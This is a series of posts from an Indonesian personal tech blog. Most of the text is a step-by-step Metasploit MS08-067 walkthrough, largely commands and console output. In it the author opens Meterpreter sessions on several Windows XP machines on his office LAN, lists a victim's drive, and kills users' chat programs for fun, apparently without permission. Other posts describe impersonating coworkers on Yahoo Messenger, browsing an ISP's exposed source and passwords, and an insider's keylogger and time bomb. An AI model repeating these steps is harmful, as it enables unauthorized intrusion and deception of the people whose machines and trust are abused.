5. Attack DDOS dari mana ? ... bukannya bisa di block ya dari router gw nya

httpry - http packet sniffer logging

2009-01-23T15:04:00.004+07:00

source : http://www.packetstormsecurity.com/sniffers/httpry-0.1.4.tar.gz

Description:
httpry is a specialized packet sniffer designed for displaying and logging HTTP traffic. It is not intended to perform analysis itself, but instead to capture, parse, and log the traffic for later analysis. It can be run in real-time displaying the live traffic on the wire, or as a daemon process that logs to an output file. It is written to be as lightweight and flexible as possible, so that it can be easily adaptable to different applications. It does not display the raw HTTP data transferred, but instead focuses on parsing and displaying the request/response line along with associated header fields.
Author: Dumpster Keeper
Homepage: http://dumpsterventures.com/jason/httpry/
Changes: Adds a few nice improvements to the base program. The biggest change is that the program now defaults to parsing all standard HTTP methods.
File Size: 44477
Last Modified: Jan 13 19:13:48 2009
MD5 Checksum: ab5cdae9317908bac3c67fb9f26cf00e

extract

make
makeinstall

root@boc [~/httpry-0.1.4]# ./httpry -i eth1
httpry version 0.1.4 -- HTTP logging and information retrieval tool
Copyright (c) 2005-2009 Jason Bittel
Starting capture on eth1 interface
2009-01-23 14:57:41 10.11.12.66 10.11.21.200 > GET 10.11.21 .200 / HTTP/1.1 - -
2009-01-23 14:57:41 10.11.21.200 10.11.12.66 < - - - HTTP/1.1 200 OK
2009-01-23 15:00:25 10.11.12.66 10.11.21.200 > GET 10.11.21 .200 / HTTP/1.1 - -
2009-01-23 15:00:25 10.11.21.200 10.11.12.66 < - - - HTTP/1.1 200 OK
2009-01-23 15:01:02 10.11.12.66 10.11.21.200 > POST 10.11.21 .200 /index.php HTTP/1.1 - -
2009-01-23 15:01:02 10.11.21.200 10.11.12.66 < - - - HTTP/1.1 200 OK
2009-01-23 15:01:06 10.11.12.66 10.11.21.200 > POST 10.11.21 .200 /index.php HTTP/1.1 - -
2009-01-23 15:01:06 10.11.21.200 10.11.12.66 < - - - HTTP/1.1 200 OK
2009-01-23 15:01:06 10.11.21.200 10.11.12.66 < - - - HTTP/1.1 200 OK
2009-01-23 15:01:07 10.11.21.200 10.11.12.66 < - - - HTTP/1.1 200 OK
2009-01-23 15:01:16 10.11.12.66 10.11.21.200 > POST 10.11.21 .200 /index.php HTTP/1.1 - -
2009-01-23 15:01:32 10.11.21.200 10.11.12.66 < - - - HTTP/1.1 200 OK
2009-01-23 15:28:42 10.11.21.200 10.11.15.171 > GET yum.telkom.net.id /rhe5-i386/epel/repodata/repomd.xml HTTP/1.1 - -
2009-01-23 15:28:42 10.11.15.171 10.11.21.200 < - - - HTTP/1.1 200 OK

analisa terus ....

akhir2x ini lagi asyik nih baca paketstormsecurity , situs audit yang sudah lama ditinggalkan .... akhirnya dibaca kembali ....

Firefox Clickjacking 3.05

2009-01-23T09:39:00.008+07:00

Pagi ini iseng nih ke situs http://www.packetstormsecurity.com/ , saya menemukan bacaan yang menarik dan kebetulan saya memakai aplikasi itu

http://www.packetstormsecurity.com/0901-exploits/firefox-clickjack.txt

Firefox 3.0.5 Status Bar Obfuscation / Clickjacking

saya save kedalam hijack.html

saya buka melalui browser mozilla 3.05

sekilas mengarah ke google

ternyata

load javascript .... ke milw0rm

tha thaaaaaaaaaa ....

mengarah ke milw0rm ...

test mendisable java script ...

mengarah ke google sebenarnya

nah betapa berbahayanya clickjaking ini apalagi digunakan untuk phising ...

- hore senin libur .............

hacking heart by yahoo messenger - social engineering

2009-01-22T14:14:00.006+07:00

Ada cerita lucu kira2x 9 bulan lalu , ketika pindah bagian di new place ... urus system ... sama developmentnya , .. otomatis ya perkenalan dengan teman-teman yang baru ... add Yahoo messenger donk ... , tiap aku kasih pastinya id ku yang asli ke temen-temen baru ini, tapi di ym ku sendiri aku create 5 id yang digunakan sebagai social engineer ( fake id ) , caranya cukup mudah kok

1. yahoo messenger - messenger - my account info - masukkan password ( verify )
2. Edit/Create Aliases - add new alias - ok lalu logout ym kamu
3. login kembali - lalu pilih korban kamu

nah kamu bisa social engineer - caranya kamu pakai nick yang hampir mirip2x sama temanmu deh ... trus pura2x tanya .. sampai sampai

pelaku nick palsu : kerjain kita makan yuuk sekarang
korban : tumben kamu ngajak begitu ?
pelaku nick palsu : yah aku tunggu diluar ruangan ya , kan aku kangen sama kamu ...
korban : beneran ?
pelaku nick palsu : iya lah masa bohong
korban : ok

korban , lalu berjalan keluar celingak celinguk menunggu temennya ( orang asli )

korban , menunggu sepuluh menit lalu , menghampiri si orang asli berkata

korban : jadi makan gak ?
orang asli : sapa yang ajak kamu ?
korban : lho barusan di yahoo messenger
orang asli : ih gr banget ...
korban : "muka nya merah " <---- ternyata ada hati ....

dari gambaran diatas terlihat mudah bukan ... social engineering yang dilakukan pelaku .. bahkan masih banyak ribuan social engineering yang dilakukan ...

maaf tujuan disini cuma ujicoba aja yaa ... jangan diikutin lho

hmm .... let me find new place and work again ....... help me god //\\

friendster vs facebook

2009-01-21T15:30:00.004+07:00

isengiseng membandingkan 2 situs komunitas terbesar di dunia ....

kenaikan pengunjung facebook cukup menggila , dibandingkan dengan friendster yang tidak beranjak ... , apakah ini runtuhnya kejayaan friendster ? .... jika friendster mau merubah systemnya mungkin bisa ... dengan improvment yang baru .....

nb :
failed lagi nih , cari lagi deh ..... masih jalan2x ditempat ... tetap semangat !!! , selama jalan masih ada selama masih berputar dan selama masih harapan terbentang luas ....

Wordpress yang aneh di hosting yang free

2009-01-18T03:04:00.003+07:00

jurnal :

Kali ini install wordpress di web freeweb7.com parah , create database ok begitu mau connect gak connect2x idle nih web :D , selang 1 menit baru deh sambung lagi ... tapi walhasil jadi juga ... selama bumi berputar pada porosnya ..

hari ini belajar berbagi nih ... transfer knowledge kepada orang yang nun jauh di sana ... aku memperkenalkan wordpress ini kepada orang itu ...

hari ini ...

sabtu - minggu ...

sabtu : bangun jam 11 siang
cukur rambut jam 2
ke warnet check server dulu jam 3-7
internet + install jam 10-3 pagi

minggu nya : tidur ....

kenalilah hati seorang admin

2009-01-12T19:37:00.002+07:00

Yah , sekedar share aja sih sekalian nulis pengalaman cerita dari temen-temen ... sebagai penyambung media aja

katakanlah namanya si maman mencari kerja , akhirnya dia diterima diperusahaan abc sebagai seorang admin jaringan & server , dia memang pekerja tangguh ulet dan suka bekerja keras untuk perusahaannya , hingga akhirnya dia menjadi pegawai tetap diperusahaan tersebut , suatu hari sang atasannya menuruh dia mengerjakan sesuatu yaitu mengganti sebuah hardisk 80 Gb ditukar dengan 60 Gb dia menganggap atasnya ini gila , riba , toh bagi dia sepertinya apa yang dicari jika sebuah kerja itu seperti halnya pengabdian , dirinya terkadang mendapat cemoohan hingga akhirnya dia merasa harus melakukan sesuatu ...

apa yang dilakukan dirinya siap untuk segala resiko yang ada , pertama hal yang dilakukan dia melakukan manipulasi data , membackup sebuah database yang sifatnya sangat rahasia , memasang sebuah key logger didalam email , menyadap semua paket jaringan dengan menggunakan etheral yang cukup populer , lalu sebagai penutup dia membuat time bom yang dapat dikendalikan sebagai eksekusi melalui backdoor yang dipasangnya ...

walhasil jaringan menjadi congested tak terkendali , hilangnya data, lalu sang atasan bingung tidak terkendali hingga sang atasan tersebut memanggil si admin , lalu apa yang terjadi atasan tak menemukannya .... ternyata si admin telah hilang ... bagai kapal tak bertuan ...

dari analisa diatas betapa pentingnya kalau kita mengenal seorang admin , watak karateristik , mungkin saya melihat sebagai sebuah fenomena yang patut dihargai ,
terkadang admin mempunyai sifat idealis yang tinggi tapi kenanlilah admin tersebut
saya pernah mendengar dari temen sendiri hal seperti ini hingga dia bekerja menjadi terganggu akibat seorang seorang admin yang telah hilang ...

View Source code = Vsc

2009-01-12T14:44:00.003+07:00

Sebenernya saya ingin share betapa rentannya bug yang saya temukan di salah satu situs isp terbesar di indonesia , menyediakan layanan berbasis 3G ini , penelusuran saya berawal saya iseng seperti apa sih source code nya ....

ternyata disana terdapat file 2x dalam bentuk php ... , hingga akhirnya saya pelajari file2x tersebut bahkan melihat semua file di php , yah simple tapi menyakitkan ,
sampai saya menelusuri file connect api dari oracle , enak juga ternyata membaca source code php nya , padahal saya paling malas membaca php programming ini , saya lebih menyukasi server berbasis aplikasi ... dalam bentuk tar.gz

kalau saja saya install toad saya bisa obok2x databasenya itu juga kalau tidak kenal firewall langsung , semua password , host server saya lihat , bahkan saya mempelajari load balancernya ke arah oracle itu.

saya sudah mereport hal tersebut , tapi sepertinya belum ada balasan ...

ya sudahlah metode manual ini ternyata indah ///

nb : akhirnya laptop dibenerin juga nih , emang dunia hampa banget kalo gak ada komputer ya ... duh pengen cari tantangan di t4 lain nih ... kalo bisa hati sih pengen jadi NE , paniknya yang bikin asyik sih kalo gangguan :D

Happy New York !!!

2009-01-08T09:23:00.004+07:00

Kata kata itu terlontar dari seorang mulut temen saya , yah mungkin karena dia terbilang lucu , sampai dia berkata duh kok dapet sms kayak begini happy new york yah memang dia cuma lulusan sma yang tidak mengerti sama sekali bahasa inggris ... " sampai dia bilang gimana mau ngomong inggris tiap hari cuma makan tempe orek ", padahal happy new year , aku ngakak setengah mati ...

HAPPY NEW YEAR 2009

Mohon maaf kalau ada salah ucapan , kritikan , mungkin disini sifatnya sebagai pembelajaran dan tidak bermaksud menyudutkan kebodohan , keidiotan dan kegilaan manusia.

yang pasti saya akan terus membuat tulisan yang bermanfaat untuk kemajuan IT di indonesia.

regards

iqbal

pakai lighttpd buat webserver ? tergantung ...

2008-12-21T21:22:00.002+07:00

Security, speed, compliance, and flexibility -- all of these describe lighttpd (pron. lighty) which is rapidly redefining efficiency of a webserver; as it is designed and optimized for high performance environments. With a small memory footprint compared to other web-servers, effective management of the cpu-load, and advanced feature set (FastCGI, SCGI, Auth, Output-Compression, URL-Rewriting and many more) lighttpd is the perfect solution for every server that is suffering load problems. And best of all it's Open Source licensed under the revised BSD license.

memang httpd webserver , browser memang kata yang familiar di internet jagad maya ini , tapi ketangguhan webserver itu bisa diuji juga lho ..

pernah pakai lighttpd ? saya pernah , disinyalir disitus http://www.lighttpd.net/ fly light , sekuriti , kecepatan dll bisa didapatkan disini , saya pernah uji kompabilitas terhadap video streaming , hasilnya cukup cepat juga untuk diembed kan didalam sebuah page halaman , tapi semua tergantung tujuan anda membuat webserver itu ...

tapi masih ada beberapa kekurangan yang tidak sehebat ibunya httpd , mungkin lighttpd ini sifatnya lebih diperuntukkan untuk kecepatan dalam mengakses ya

pilih mana ? ya tergantung ....

Anak Bus & Sekolah Maya

2008-12-05T22:26:00.007+07:00

Ini duniaku mungkin sama dengan duniamu ..

Malam ini mataku sempat terbelak betapa tidak seorang bocah jalanan tertidur dibelakang sebuah bus patas , terlelap mungkin di mimpinya dia tidur diatas kasur yang empuk .. begitu bangun dia sadar diantara kekejaman dunia, aku bisa melihatnya disela pintu itu , tanya ku ini salah siapa ?

UUD 1945 pasal 34 ayat 1 mengamanatkan, fakir miskin dan anak terlantar
dipelihara oleh negara.

Sebenernya dunia pendidikan bisa dinikmati rakyat biasa bahkan menembus lapisan masyarakat miskin tidak jor jor hanya ucapan semata ...

Dunia informasi dan teknologi harusnya bisa mengangkat semua itu , pendidikan murah melalui media internet e-learning seharusnya mudah didapat kalau perlu disediakan gratis beserta komputer - komputer daripada cuma pom bensin , supermarket , sentral bisnis , dll yang hanya memperjauh GAP kaya dan miskin ..

Edukasi lebih bersifat ke teknologi saat ini masih belum tercapai sasaran tuh * ...

saya tidak habis pikir kok kemana ya semua itu , apakah semua hanya sibuk mengejar bisnis, mengejar target revenue , memegang prinsip ekonomi modal sedikit hasil yang sebanyak-banyaknya ...

think it , how can begun if u not looking around ...

e-learning - sekolah maya , pendidikan teknologi adalah hal utama untuk memajukan bangsa ini ...

Lanjutan Exploit windows Universal

2008-12-03T14:06:00.002+07:00

[*] Meterpreter session 11 closed.
msf exploit(ms08_067_netapi) > set RHOST 10.11.21.186
RHOST => 10.11.21.186
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (NX)
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 12 opened (10.11.21.200:19393 -> 10.11.21.186:4444)

meterpreter > ps x

Process list
============

PID Name Path
--- ---- ----
256 msmsgs.exe C:\Program Files\Messenger\msmsgs.exe
492 i2050.exe C:\Program Files\Nortel\IP Softphone 2050\i2050.exe
504 avgamsvr.exe C:\PROGRA~1\Grisoft\AVG7\avgamsvr.exe
548 avgupsvc.exe C:\PROGRA~1\Grisoft\AVG7\avgupsvc.exe
580 avgemc.exe C:\PROGRA~1\Grisoft\AVG7\avgemc.exe
636 i2050QosSvc.exe C:\Program Files\Nortel\IP Softphone 2050\i2050QosSvc.exe
700 smss.exe \SystemRoot\System32\smss.exe
736 MDM.EXE C:\Program Files\Common Files\Microsoft Shared\VS7DEBUG\MDM.EXE
748 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
776 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
820 services.exe C:\WINDOWS\system32\services.exe
832 lsass.exe C:\WINDOWS\system32\lsass.exe
1004 DF5Serv.exe C:\Program Files\Faronics\Deep Freeze\Install C-0\DF5Serv.exe
1036 Ati2evxx.exe C:\WINDOWS\system32\Ati2evxx.exe
1052 svchost.exe C:\WINDOWS\system32\svchost.exe
1132 svchost.exe C:\WINDOWS\system32\svchost.exe
1228 svchost.exe C:\WINDOWS\System32\svchost.exe
1252 StarWindService.exe C:\Program Files\Alcohol Soft\Alcohol 120\StarWind\StarWindService.exe
1356 svchost.exe C:\WINDOWS\system32\svchost.exe
1404 svchost.exe C:\WINDOWS\system32\svchost.exe
1588 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1768 jucheck.exe C:\Program Files\Java\jre1.6.0_05\bin\jucheck.exe
1864 FrzState2k.exe C:\Program Files\Faronics\Deep Freeze\Install C-0\_$Df\FrzState2k.exe
1924 Explorer.EXE C:\WINDOWS\Explorer.EXE
2020 jusched.exe C:\Program Files\Java\jre1.6.0_05\bin\jusched.exe
2032 smax4pnp.exe C:\Program Files\Analog Devices\Core\smax4pnp.exe
2040 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe
2352 firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
2468 alg.exe C:\WINDOWS\System32\alg.exe
2548 notepad.exe C:\WINDOWS\system32\notepad.exe
2972 WINWORD.EXE C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE
2980 YServer.exe C:\PROGRA~1\Yahoo!\MESSEN~1\YServer.exe
3024 cmd.exe C:\WINDOWS\system32\cmd.exe
3248 YahooMessenger.exe C:\Program Files\Yahoo!\Messenger\YahooMessenger.exe
3500 NOTEPAD.EXE C:\WINDOWS\system32\NOTEPAD.EXE

meterpreter > kill 3248
Killing: 3248
meterpreter > exit

[*] Meterpreter session 12 closed.
msf exploit(ms08_067_netapi) > set RHOST 10.11.21.124
RHOST => 10.11.21.124
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 13 opened (10.11.21.200:23453 -> 10.11.21.124:4444)

meterpreter > ps -x

Process list
============

PID Name Path
--- ---- ----
204 Reader_sl.exe C:\Program Files\Adobe\Reader 8.0\Reader\Reader_sl.exe
208 smax4pnp.exe C:\Program Files\Analog Devices\Core\smax4pnp.exe
216 avgnt.exe C:\Program Files\Avira\AntiVir PersonalEdition Classic\avgnt.exe
240 SweetIM.exe C:\Program Files\SweetIM\Messenger\SweetIM.exe
248 SearchProtection.exe C:\Program Files\Yahoo!\Search Protection\SearchProtection.exe
260 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe
284 msmsgs.exe C:\Program Files\Messenger\msmsgs.exe
368 sched.exe C:\Program Files\Avira\AntiVir PersonalEdition Classic\sched.exe
504 i2050QosSvc.exe C:\Program Files\Nortel\IP Softphone 2050\i2050QosSvc.exe
612 MDM.EXE C:\Program Files\Common Files\Microsoft Shared\VS7DEBUG\MDM.EXE
636 smss.exe \SystemRoot\System32\smss.exe
696 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
724 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
768 services.exe C:\WINDOWS\system32\services.exe
780 lsass.exe C:\WINDOWS\system32\lsass.exe
848 audevicemgr.exe C:\Program Files\Sony Ericsson\Mobile\audevicemgr.exe
948 DF5Serv.exe C:\Program Files\Faronics\Deep Freeze\Install C-0\DF5Serv.exe
980 Ati2evxx.exe C:\WINDOWS\system32\Ati2evxx.exe
996 svchost.exe C:\WINDOWS\system32\svchost.exe
1048 MROUTE~2.EXE c:\PROGRA~1\INTUWA~1\Shared\MROUTE~1\MROUTE~2.EXE
1096 svchost.exe C:\WINDOWS\system32\svchost.exe
1192 svchost.exe C:\WINDOWS\System32\svchost.exe
1280 svchost.exe C:\WINDOWS\system32\svchost.exe
1324 wdfmgr.exe C:\WINDOWS\system32\wdfmgr.exe
1392 svchost.exe C:\WINDOWS\system32\svchost.exe
1424 WinVNC4.exe D:\titipan dwi\vnc\VNC4\WinVNC4.exe
1576 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1624 avguard.exe C:\Program Files\Avira\AntiVir PersonalEdition Classic\avguard.exe
1784 CONNMN~1.EXE C:\PROGRA~1\SONYER~1\Mobile\CONNEC~1\CONNMN~1.EXE
1992 Explorer.EXE C:\WINDOWS\Explorer.EXE
2072 FrzState2k.exe C:\Program Files\Faronics\Deep Freeze\Install C-0\_$Df\FrzState2k.exe
2344 alg.exe C:\WINDOWS\System32\alg.exe
2608 wuauclt.exe C:\WINDOWS\system32\wuauclt.exe
2692 YahooMessenger.exe C:\Program Files\Yahoo!\Messenger\YahooMessenger.exe

meterpreter > kill 2692
Killing: 2692

wkakakakakakakaka lucu banget ............. deh ......... asli maap ... deh kakak

Exploit Windows Universal dengan Tools Framework - Metasploit dan SMB Relay (hdm)

2008-12-03T09:23:00.000+07:00

Ada apa dengan MS08-067 ? berikut penjelasannya …
Kali ini saya mencoba share kepada semua bagaimana saya menerapkan metode exploit SMB relay Client, mencoba mengakses SMB service , dimana attacker dapat menerobos Samba jika mereka menjalankan internet explorer atau outlook express.
Metode ini dipublish oleh Sir Dystic selama @tlantacon pada tahun 2001 dan di implementasikan pada metasploit juli 2007. hal ini yang membuat rasa penasaran saya bagaimana metode exploit itu dijalankan , berikut artikel yang saya buat.
Download metasploit framework terbaru atau bisa mengunjungi http://www.metasploit.com

root@boc [~/metasploit]# wget http://spool.metasploit.com/releases/framework-3.2.tar.gz
root@boc [~/metasploit]# tar -zxvf framework-3.2.tar.gz
root@boc [~/metasploit]# cd framework-3.2
mroot@boc [~/metasploit/framework-3.2]# ./msfconsole

# # ###### ##### ## #### ##### # #### # #####
## ## # # # # # # # # # # # #
# ## # ##### # # # #### # # # # # # #
# # # # ###### # ##### # # # # #
# # # # # # # # # # # # # #
# # ###### # # # #### # ###### #### # #
=[ msf v3.2-release
+ -- --=[ 320 exploits - 217 payloads
+ -- --=[ 20 encoders - 6 nops
=[ 99 aux

-) Tampilkan Command
msf > help

Core Commands
=============

Command Description
------- -----------
? Help menu
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
exit Exit the console
help Help menu
info Displays information about one or more module
irb Drop into irb scripting mode
jobs Displays and manages jobs
load Load a framework plugin
loadpath Searches for and loads modules from a path
quit Exit the console
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores
search Searches module names and descriptions
sessions Dump session listings and display information about sessions
set Sets a variable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all modules
sleep Do nothing for the specified number of seconds
unload Unload a framework plugin
unset Unsets one or more variables
unsetg Unsets one or more global variables
use Selects a module by name
version Show the console library version number

Lihat versi dari metasploit
msf > version
Framework: 3.2-release.5962
Console : 3.2-release.5773

Masuk ke exploit samba ms08_067
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Id Name
-- ----
0 Automatic Targeting
Melihat Info exploit ini
msf exploit(ms08_067_netapi) > info windows/smb/ms08_067_netapi

Name: Microsoft Server Service Relative Path Stack Corruption
Version: 5888
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)

Provided by:
hdm
Brett Moore

Available targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)
8 Windows 2003 SP2 English (NO NX)
9 Windows 2003 SP2 English (NX)
10 Windows XP SP2 Arabic (NX)
11 Windows XP SP2 Chinese - Traditional / Taiwan (NX)
12 Windows XP SP2 Chinese - Simplified (NX)
13 Windows XP SP2 Chinese - Traditional (NX)
14 Windows XP SP2 Czech (NX)
15 Windows XP SP2 Danish (NX)
16 Windows XP SP2 German (NX)
17 Windows XP SP2 Greek (NX)
18 Windows XP SP2 Spanish (NX)
19 Windows XP SP2 Finnish (NX)
20 Windows XP SP2 French (NX)
21 Windows XP SP2 Hebrew (NX)
22 Windows XP SP2 Hungarian (NX)
23 Windows XP SP2 Italian (NX)
24 Windows XP SP2 Japanese (NX)
25 Windows XP SP2 Korean (NX)
26 Windows XP SP2 Dutch (NX)
27 Windows XP SP2 Norwegian (NX)
28 Windows XP SP2 Polish (NX)
29 Windows XP SP2 Portuguese - Brazilian (NX)
30 Windows XP SP2 Portuguese (NX)
31 Windows XP SP2 Russian (NX)
32 Windows XP SP2 Swedish (NX)
33 Windows XP SP2 Turkish (NX)
34 Windows XP SP3 Arabic (NX)
35 Windows XP SP3 Chinese - Traditional / Taiwan (NX)
36 Windows XP SP3 Chinese - Simplified (NX)
37 Windows XP SP3 Chinese - Traditional (NX)
38 Windows XP SP3 Czech (NX)
39 Windows XP SP3 Danish (NX)
40 Windows XP SP3 German (NX)
41 Windows XP SP3 Greek (NX)
42 Windows XP SP3 Spanish (NX)
43 Windows XP SP3 Finnish (NX)
44 Windows XP SP3 French (NX)
45 Windows XP SP3 Hebrew (NX)
46 Windows XP SP3 Hungarian (NX)
47 Windows XP SP3 Italian (NX)
48 Windows XP SP3 Japanese (NX)
49 Windows XP SP3 Korean (NX)
50 Windows XP SP3 Dutch (NX)
51 Windows XP SP3 Norwegian (NX)
52 Windows XP SP3 Polish (NX)
53 Windows XP SP3 Portuguese - Brazilian (NX)
54 Windows XP SP3 Portuguese (NX)
55 Windows XP SP3 Russian (NX)
56 Windows XP SP3 Swedish (NX)
57 Windows XP SP3 Turkish (NX)

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload information:
Space: 400
Avoid: 8 characters

Description:
This module exploits a parsing flaw in the path canonicalization
code of NetAPI32.dll through the Server Service. This module is
capable of bypassing NX on some operating systems and service packs.
The correct target must be used to prevent the Server Service (along
with a dozen others in the same process) from crashing. Windows XP
targets seem to handle multiple successful exploitation events, but
2003 targets will often crash or hang on subsequent attempts. This
is just the first version of this module, full support for NX bypass
on 2003, along with other platforms, is still in development.

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250
http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx

*> interupt
Sampai Disini saya membuka shell box saya melakukan nmap seperti dibawah ini

root@boc [~]# nmap 10.11.21.29 -p 445
Starting Nmap 4.20 ( http://insecure.org ) at 2008-12-02 18:18 WIT
Interesting ports on 10.11.21.29:
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:16:76:7C:BA:D7 (Intel)

*>next jump ( back to metasploit )

Pilih target IP
msf exploit(ms08_067_netapi) > set RHOST 10.11.121.29
RHOST => 10.11.21.29

Pilih tipe exploit
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
Pilih exploit OS ( 0 – deteksi OS )
msf exploit(ms08_067_netapi) > set TARGET 0
TARGET => 0
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (10.11.21.200:48769 -> 10.11.21.29:4444)
Terlihat diatas kita masuk session 1 dan kita berhasil menyusup ke salah satu target

Lihat direktori
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > cd ..

meterpreter > d:
meterpreter > ls

Listing: D:\
============

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 $AVG8.VAULT$
100666/rw-rw-rw- 91315 fil Thu Jan 01 07:00:00 +0700 1970 2512920190_7b59712cac.jpg
40555/r-xr-xr-x 0 dir Thu Jan 01 07:00:00 +0700 1970 BOC
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 IDM
40555/r-xr-xr-x 0 dir Thu Jan 01 07:00:00 +0700 1970 MD
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 New Folder (2)
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 PALBOMS
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 PC GAMES
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 PEPES
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 RECYCLER
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 Rully.F
100666/rw-rw-rw- 5005997 fil Thu Jan 01 07:00:00 +0700 1970 SafariSetup.exe.part
100666/rw-rw-rw- 129 fil Thu Jan 01 07:00:00 +0700 1970 Shortcut to CD Drive.lnk
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 System Volume Information
100666/rw-rw-rw- 1786056 fil Thu Jan 01 07:00:00 +0700 1970 TTPODSKINS.sisx
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 Temp
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 Trik Internet Gratis
100666/rw-rw-rw- 84997 fil Thu Jan 01 07:00:00 +0700 1970 bendera.jpg
100666/rw-rw-rw- 22911 fil Thu Jan 01 07:00:00 +0700 1970 bitie.txt
100666/rw-rw-rw- 2828444 fil Thu Jan 01 07:00:00 +0700 1970 dd8a672b68c207a0ff02f90a272e76e2.rar
100666/rw-rw-rw- 4107 fil Thu Jan 01 07:00:00 +0700 1970 image001.jpg
100666/rw-rw-rw- 39901 fil Thu Jan 01 07:00:00 +0700 1970 indah.jpg
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 indh
100666/rw-rw-rw- 221867 fil Thu Jan 01 07:00:00 +0700 1970 indonesia1.jpg
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 kriss
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 mustofa
100666/rw-rw-rw- 908 fil Thu Jan 01 07:00:00 +0700 1970 permintaan dephub aly hasny.txt
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 sri_numpang_mas
100666/rw-rw-rw- 37504 fil Thu Jan 01 07:00:00 +0700 1970 viewphotos.php.htm
40777/rwxrwxrwx 0 dir Thu Jan 01 07:00:00 +0700 1970 viewphotos.php_files
40555/r-xr-xr-x 0 dir Thu Jan 01 07:00:00 +0700 1970 zul99umb

meterpreter > help

Core Commands
=============

Command Description
------- -----------
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel

Stdapi: File system Commands
============================

Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rmdir Remove directory
upload Upload a file or directory

Stdapi: Networking Commands
===========================

Command Description
------- -----------
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table

Stdapi: System Commands
=======================

Command Description
------- -----------
execute Execute a command
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shutdown Shuts down the remote computer
sysinfo Gets information about the remote system, such as OS

Stdapi: User interface Commands
===============================

Command Description
------- -----------
idletime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components

Priv: Password database Commands
================================

Command Description
------- -----------
hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands
========================

Command Description
------- -----------
